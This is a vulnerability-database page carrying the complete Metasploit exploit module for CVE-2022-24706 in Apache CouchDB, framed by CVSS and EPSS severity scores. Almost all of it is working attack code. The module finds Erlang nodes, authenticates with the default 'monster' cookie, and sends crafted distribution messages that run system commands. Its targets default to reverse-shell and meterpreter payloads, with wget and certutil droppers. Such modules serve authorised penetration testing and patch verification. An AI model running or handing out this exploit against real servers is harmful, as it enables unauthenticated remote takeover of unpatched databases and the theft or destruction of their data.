Lucene search

K
metasploitMilton Valencia (wetw0rk), 1F98D, Konstantin Burov, _sadshade, jheysel-r7MSF:EXPLOIT-MULTI-HTTP-APACHE_COUCHDB_ERLANG_RCE-
HistoryNov 01, 2022 - 3:54 p.m.

Apache Couchdb Erlang RCE

2022-11-0115:54:12
Milton Valencia (wetw0rk), 1F98D, Konstantin Burov, _sadshade, jheysel-r7
www.rapid7.com
315

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Retry
  include Msf::Exploit::Powershell
  prepend Msf::Exploit::Remote::AutoCheck
  require 'msf/core/exploit/powershell'
  require 'digest'

  # Constants required for communicating over the Erlang protocol defined here:
  # https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
  EPM_NAME_CMD = "\x00\x01\x6e".freeze
  NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze
  CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze
  CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze
  COOKIE = 'monster'.freeze
  COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Couchdb Erlang RCE',
        'Description' => %q{
          In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
          authenticating and gain admin privileges.
        },
        'Author'	=> [
          'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery
          '1F98D',                     # Erlang Cookie RCE exploit
          'Konstantin Burov',          # Apache CouchDB Erlang Cookie exploit
          '_sadshade',                 # Apache CouchDB Erlang Cookie exploit
          'jheysel-r7',                # Msf Module
        ],
        'References' => [
          [ 'EDB', '49418' ],
          [ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],
          [ 'CVE', '2022-24706'],
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['win', 'linux'],
        'Payload' => {
          'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method
        },
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => :wget,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => :certutil,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'CmdStagerFlavor' => :certutil,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-01-21',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(4369)
      ]
    )
  end

  def check
    erlang_ports = get_erlang_ports
    # If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
    return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?

    erlang_ports.each do |erlang_port|
      # If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
      # successful and the target as well as the specific socket used in this instance is vulnerable
      sock = connect_to_erlang_server(erlang_port.to_i)
      if sock.instance_of?(Socket)
        @vulnerable_socket = sock
        return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
      else
        next
      end
    end
    Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
  end

  # Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
  #
  # @return [Array] An array of port numbers for discovered Erlang Servers.
  def get_erlang_ports
    erlang_ports = []
    begin
      print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")
      connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })
      # request Erlang nodes
      sock.put(EPM_NAME_CMD)
      sleep datastore['WfsDelay']
      res = sock.get_once
      unless res && res.include?("\x00\x00\x11\x11name couchdb")
        print_error('Did not find any Erlang nodes')
        return erlang_ports
      end

      print_status('Successfully found EDPM socket')
      res.each_line do |line|
        erlang_ports << line.match(/\s(\d+$)/)[0]
      end
    rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
      print_error("Error connecting to EDPM: #{e.class} #{e}")
      disconnect
      return erlang_ports
    end
    erlang_ports
  end

  # Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the
  # default erlang cookie value in Apache CouchDB installations before 3.2.2
  #
  # @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server
  def connect_to_erlang_server(erlang_port)
    print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')
    connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })
    print_status('Connection successful')
    challenge = retry_until_truthy(timeout: 60) do
      sock.put(NAME_MSG)
      sock.get_once(5) # ok message
      sock.get_once
    end
    # The expected successful response from the target should start with \x00\x1C
    unless challenge && challenge.include?("\x00\x1C")
      print_error('Connecting to the Erlang server was unsuccessful')
      return
    end

    challenge = challenge[9..12].unpack('N*')[0]
    challenge_reply = "\x00\x15r\x01\x02\x03\x04"
    md5 = Digest::MD5.new
    md5.update(COOKIE + challenge.to_s)
    challenge_reply << [md5.hexdigest].pack('H*')
    sock.put(challenge_reply)
    sleep datastore['WfsDelay']
    challenge_response = sock.get_once

    if challenge_response.nil?
      print_error('Authentication was unsuccessful')
      return
    end
    print_status('Erlang challenge and response completed successfully')

    sock
  rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
    print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")
    disconnect
    return
  end

  def compile_cmd(cmd)
    msg = ''
    msg << COMMAND_PREFIX
    msg << [cmd.length].pack('S>')
    msg << cmd
    msg << "jw\x04user"
    payload = ("\x70" + CTRL_DATA + msg)
    ([payload.size].pack('N*') + payload)
  end

  def execute_command(cmd, opts = {})
    payload = compile_cmd(cmd)
    print_status('Sending payload... ')
    opts[:sock].put(payload)
    sleep datastore['WfsDelay']
  end

  def exploit_socket(sock)
    case target['Type']
    when :unix_cmd, :win_cmd
      execute_command(payload.encoded, { sock: sock })
    when :linux_dropper, :win_dropper
      execute_cmdstager({ sock: sock })
    when :psh_stager
      execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })
    else
      fail_with(Failure::BadConfig, 'Invalid target specified')
    end
  end

  def exploit
    # If the check method has already been run, use the vulnerable socket that has already been identified
    if @vulnerable_socket
      exploit_socket(@vulnerable_socket)
    else
      erlang_ports = get_erlang_ports
      fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)

      erlang_ports.each do |erlang_port|
        sock = connect_to_erlang_server(erlang_port.to_i)
        next unless sock.instance_of?(Socket)

        exploit_socket(sock)
      end
    end
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%